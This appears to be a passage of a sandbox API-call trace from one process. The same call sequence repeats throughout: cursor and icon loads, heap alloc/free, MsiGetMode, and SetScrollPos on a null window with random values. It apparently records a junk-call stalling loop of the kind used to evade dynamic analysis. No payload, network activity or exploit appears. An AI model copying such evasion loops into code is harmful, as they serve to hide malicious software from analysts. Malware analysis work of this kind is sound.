	[0095.822] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.822] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.822] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.822] GetCurrentProcessId () returned 0xb50
	[0095.823] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=258544904, bRedraw=1) returned 0
	[0095.823] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.823] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.823] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.823] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.823] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.823] GetCurrentProcessId () returned 0xb50
	[0095.823] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2117449290, bRedraw=1) returned 0
	[0095.823] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.823] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.823] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.823] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.823] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.823] GetCurrentProcessId () returned 0xb50
	[0095.823] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-188846236, bRedraw=1) returned 0
	[0095.823] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.823] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.823] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.823] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.823] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.824] GetCurrentProcessId () returned 0xb50
	[0095.824] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1749386770, bRedraw=1) returned 0
	[0095.824] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.824] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.824] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.824] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.824] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.824] GetCurrentProcessId () returned 0xb50
	[0095.824] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-597717568, bRedraw=1) returned 0
	[0095.824] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.824] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.824] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.824] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.824] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.824] GetCurrentProcessId () returned 0xb50
	[0095.824] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1359775342, bRedraw=1) returned 0
	[0095.824] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.824] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.825] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.825] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.825] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.825] GetCurrentProcessId () returned 0xb50
	[0095.825] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-968069092, bRedraw=1) returned 0
	[0095.825] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.825] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.825] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.825] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.825] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.825] GetCurrentProcessId () returned 0xb50
	[0095.825] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1008683722, bRedraw=1) returned 0
	[0095.826] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.826] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.826] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.826] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.826] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.826] GetCurrentProcessId () returned 0xb50
	[0095.826] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1299900808, bRedraw=1) returned 0
	[0095.826] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.826] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.826] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.826] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.826] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.826] GetCurrentProcessId () returned 0xb50
	[0095.826] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=696111910, bRedraw=1) returned 0
	[0095.826] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.826] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.826] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.826] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.826] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.826] GetCurrentProcessId () returned 0xb50
	[0095.827] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1593212716, bRedraw=1) returned 0
	[0095.827] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.827] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.827] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.827] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.827] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.827] GetCurrentProcessId () returned 0xb50
	[0095.827] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=422059906, bRedraw=1) returned 0
	[0095.827] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.827] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.827] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.827] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.827] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.827] GetCurrentProcessId () returned 0xb50
	[0095.827] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1848004816, bRedraw=1) returned 0
	[0095.827] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.827] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.827] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.827] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.827] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.827] GetCurrentProcessId () returned 0xb50
	[0095.828] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=186527710, bRedraw=1) returned 0
	[0095.828] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.828] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.828] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.828] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.828] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.828] GetCurrentProcessId () returned 0xb50
	[0095.828] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2064277108, bRedraw=1) returned 0
	[0095.828] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.828] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.828] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.828] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.828] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.828] GetCurrentProcessId () returned 0xb50
	[0095.828] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-10484678, bRedraw=1) returned 0
	[0095.828] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.828] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.828] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.828] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.828] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.829] GetCurrentProcessId () returned 0xb50
	[0095.829] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2052937704, bRedraw=1) returned 0
	[0095.829] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.829] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.829] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.829] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.829] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.829] GetCurrentProcessId () returned 0xb50
	[0095.829] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-168977258, bRedraw=1) returned 0
	[0095.829] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.829] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.829] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.829] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.829] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.829] GetCurrentProcessId () returned 0xb50
	[0095.829] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1913705028, bRedraw=1) returned 0
	[0095.829] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.829] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.829] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.829] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.830] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.830] GetCurrentProcessId () returned 0xb50
	[0095.830] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-288950030, bRedraw=1) returned 0
	[0095.830] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.830] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.830] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.830] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.830] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.830] GetCurrentProcessId () returned 0xb50
	[0095.830] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1812992160, bRedraw=1) returned 0
	[0095.830] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.830] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.830] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.830] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.830] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.830] GetCurrentProcessId () returned 0xb50
	[0095.830] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-370402994, bRedraw=1) returned 0
	[0095.830] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.830] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.830] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.831] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.831] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.831] GetCurrentProcessId () returned 0xb50
	[0095.831] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1750799100, bRedraw=1) returned 0
	[0095.831] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.831] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.831] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.831] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.831] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.831] GetCurrentProcessId () returned 0xb50
	[0095.831] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-413336150, bRedraw=1) returned 0
	[0095.831] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.831] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.831] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.831] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.831] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.831] GetCurrentProcessId () returned 0xb50
	[0095.831] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1727125848, bRedraw=1) returned 0
	[0095.831] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.831] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.831] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.832] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.832] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.832] GetCurrentProcessId () returned 0xb50
	[0095.832] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-417749498, bRedraw=1) returned 0
	[0095.832] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.832] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.832] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.832] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.832] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.832] GetCurrentProcessId () returned 0xb50
	[0095.832] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1741972404, bRedraw=1) returned 0
	[0095.832] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.832] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.832] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.832] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.832] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.832] GetCurrentProcessId () returned 0xb50
	[0095.832] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-383643038, bRedraw=1) returned 0
	[0095.832] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.832] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.832] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.833] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.833] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.833] GetCurrentProcessId () returned 0xb50
	[0095.833] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1795338768, bRedraw=1) returned 0
	[0095.833] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.833] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.833] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.833] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.833] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.833] GetCurrentProcessId () returned 0xb50
	[0095.833] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-311016770, bRedraw=1) returned 0
	[0095.833] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.833] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.833] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.833] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.833] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.833] GetCurrentProcessId () returned 0xb50
	[0095.833] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1887224940, bRedraw=1) returned 0
	[0095.833] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.833] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.833] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.907] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.907] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.907] GetCurrentProcessId () returned 0xb50
	[0095.907] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-199870694, bRedraw=1) returned 0
	[0095.907] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.907] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.907] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.907] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.907] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.907] GetCurrentProcessId () returned 0xb50
	[0095.907] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2017630920, bRedraw=1) returned 0
	[0095.908] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.908] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.910] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.910] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.910] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.910] GetCurrentProcessId () returned 0xb50
	[0095.910] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-50204810, bRedraw=1) returned 0
	[0095.911] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.911] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.911] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.911] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.911] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.911] GetCurrentProcessId () returned 0xb50
	[0095.911] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2108410588, bRedraw=1) returned 0
	[0095.911] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.911] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.911] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.911] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.911] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.911] GetCurrentProcessId () returned 0xb50
	[0095.911] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=137980882, bRedraw=1) returned 0
	[0095.911] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.911] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.911] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.911] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.911] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.911] GetCurrentProcessId () returned 0xb50
	[0095.911] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1900964992, bRedraw=1) returned 0
	[0095.912] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.912] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.912] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.912] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.912] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.912] GetCurrentProcessId () returned 0xb50
	[0095.912] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=364686382, bRedraw=1) returned 0
	[0095.912] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.912] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.912] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.912] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.912] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.912] GetCurrentProcessId () returned 0xb50
	[0095.912] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1654999588, bRedraw=1) returned 0
	[0095.912] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.912] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.913] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.913] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.913] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.913] GetCurrentProcessId () returned 0xb50
	[0095.913] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=629911690, bRedraw=1) returned 0
	[0095.913] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.913] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.913] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.913] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.913] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.913] GetCurrentProcessId () returned 0xb50
	[0095.913] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1370514376, bRedraw=1) returned 0
	[0095.913] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.913] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.913] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.913] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.913] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.913] GetCurrentProcessId () returned 0xb50
	[0095.913] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=933656806, bRedraw=1) returned 0
	[0095.913] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.914] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.914] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.914] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.914] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.914] GetCurrentProcessId () returned 0xb50
	[0095.914] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1047509356, bRedraw=1) returned 0
	[0095.914] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.914] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.914] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.914] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.914] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.914] GetCurrentProcessId () returned 0xb50
	[0095.914] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1275921730, bRedraw=1) returned 0
	[0095.914] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.914] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.914] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.914] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.914] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.914] GetCurrentProcessId () returned 0xb50
	[0095.914] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-685984528, bRedraw=1) returned 0
